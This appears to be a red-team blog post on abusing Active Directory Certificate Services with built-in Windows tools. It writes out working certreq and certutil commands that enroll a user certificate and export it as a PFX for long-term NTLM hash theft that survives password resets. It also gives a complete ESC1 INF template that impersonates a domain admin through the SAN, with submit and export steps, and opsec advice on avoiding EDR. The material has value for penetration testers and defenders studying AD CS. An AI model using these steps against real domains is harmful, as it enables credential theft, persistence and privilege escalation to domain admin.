Fun with AD CS from Windows Command Line

by Dylan Webb | Apr 17, 2023 | #_shelIntel, Blog

I’m a fan of full featured and weaponized C2s as much as anyone else to save time if it makes my job easier. Sometimes they can make your job harder when you’re dealing with EDR. A lot of opsec considerations come into play. Just because your C2 supports a particular feature doesn’t necessarily mean you should use it if the goal is to keep your shell or to remain stealthy. A simple command shell and a SOCKS proxy is under-rated if you ask me. Just a reliable / opsec-safe method to execute commands and the ability to proxy through tools on an endpoint solves most of those EDR problems. In that sense I’m always interested in leveraging built-in Windows utilities whenever possible to do my “dirty work”. Prior to SpectreOps’ research, my primary use cases for certutil was launching payloads and base64 encoding/decoding from time to time. But as you might already suspect, these utilities can also come in handy for abusing default templates as a means of credential theft and even elevating privileges.

This blog assumes that you only have access to a command shell. Right now you just want to go as far as you can with that command shell before you setup your proxy, detonate a C2 agent, etc. It is also assumed that you are already familiar with AD CS vulnerabilities and abuse cases such as those pointed out by SpecterOps (e.g., ESC 1). If you’ve ever played with certutil then you know that it loves to pop up a GUI if/when you don’t supply the right argument so that you can select it. The example commands in this blog avoids those interactions since we are assumed to be working with just a command shell.

Let’s jump in with some basic certutil 101 to get a list of templates:

C:\> certutil -v -dstemplate

This will get you a list of all templates with general permission and enrollment settings. You will not get highly detailed configurations such as those returned through LDAP searches. However, you may still be able to identify vulnerable templates (such as ESC4 shown below).

We will not be exploiting ESC 4 in this blog. I just wanted to show an example of a vulnerable template that you might encounter using certutil alone by itself.

The first example we’ll demonstrate for abusing AD CS doesn’t have anything to do with escalation whatsoever. Instead, we will discuss how default templates can be abused the second you obtain your command shell.

Default User Template

Straight out of the gate the default “User” template can be used to obtain a certificate for your user. The default validity period for the certificate is 1 year which is useful if the user changes their password either due to expiration or IR steps in down the road and has them change it. As long as the certificate is still valid and hasn’t been revoked then we can use it to obtain the NTLM hash for the account. This allows a semi-persistent form of credential theft (true for all certificates in general). The “ClientAuth” template is another potential option here, but we’ll use the “User” template. Ok, so first let’s go ahead and enroll our user:

C:\> certreq -q -enroll User

We’ll note the Serial Number so that we can export the certificate.

Next, we’ll export the certificate using whatever password you want (hang onto it of course) and supplying the serial number for the certificate:

C:\> certutil -exportpfx -user -p “Password123” My <SerialNum> C:\Users\dwebb\dwebb.pfx

You can think of “My” as a keyword for the user’s Personal Certificate Store (i.e., using cert manager from the desktop)

That’s all there is to it. Just two commands. Exfiltrate the certificate however you want and hold onto it.

certipy-ad cert -pfx dwebb.pfx -password Password123 -export -out dwebbfinal.pfx

Sometime over the next few hours, or weeks, or year once you have your SOCKS proxy then go ahead and proxychain it through per usual to obtain the user’s NTLM hash.

NTLM hash is My0ldpass! in case you are curious.

What I love about certificates from an offsec perspective, (but should scare the crap out of defenders) is that this certificate is valid for a year. Defenders will need to hunt it down and revoke it, otherwise, we can still use it whenever we want.

Password reset to Myn3wpass! but certificate is still valid / has not been revoked

OK, so we were able to retrieve the user’s NTLM hash with just 2 commands (and eventually a SOCKS proxy at some point within the next year). That’s convenient.

Certificate Manager can be used to export your certificate if you suspect an alert might be generated.

While attacks on AD CS are great for escalation they also have an advantage for credential theft. This should not be news to anyone already familiar with AD CS vulnerabilities and exploitation but abusing default templates is pretty nifty. Speaking of escalation how might we exploit something like Escalation 1 from the command line? It’s actually pretty easy…

Exploiting ESC1

To exploit ESC1 from the command line first we need to create an INF file for the request. All you’ll need to do is set the UPN of the account you’re targeting in the SAN and the name of the vulnerable template. These 2 lines are bolded below.

; esc1.inf

[Version]

Signature=”$Windows NT$”

[NewRequest]

Subject = “CN=ESC1” ; Rename to whatever you want

Exportable = TRUE ; Need true for export to pfx later

KeyLength = 2048

KeySpec = 1

KeyUsage = 0xA0

MachineKeySet = FALSE

ProviderName = “Microsoft RSA SChannel Cryptographic Provider”

RequestType = PKCS10

[Extensions]

2.5.29.17 = “{text}” ; OID for SAN extension

_continue_ = “upn=<DAUserName>@<domain.tld>” ; UPN of DA account to place in SAN

[RequestAttributes]

CertificateTemplate = “<TEMPLATENAME>” ; Name of template you’re exploiting

Grab this file with curl, powershell, etc. and create the request based on the INF above:

C:\> certreq -new esc1.inf request.pem

Next, submit the request to the appropriate CA for your template:

C:\> certreq -config “ca.domain.tld\\CA-NAME” -submit request.pem cert.pem

If you don’t know the name of the CA then “certutil -dump” to avoid GUI

Accept the certificate for adding to the user’s personal certificate store and note the Serial Number:

C:\> certreq -accept cert.pem

Finally, export the certificate using the Serial Number from previous command output:

C:\> certutil -exportpfx -user -p “Password123” My <SerialNum> C:\\path\\to\\save\\esc1.pfx

See OpSec considerations if stealth is of utmost importance.

This entire process is also shown below:

Now all you need to do is retrieve the certificate and elevate at a later date when you’re ready.

Conclusion

The default User template can be useful the second we obtain a shell as a means of semi-persistent credential theft. We can use native Windows utilities to obtain these certificates for import into tools at a later date. We can also use them to exploit some of the most common security misconfigurations pointed out by the SpecterOps team. It’s always worth knowing how to leverage native Windows commands and utilities at your disposal to aid in exploitation. You never know when you might find yourself in a situation where it’s the best approach for the time being.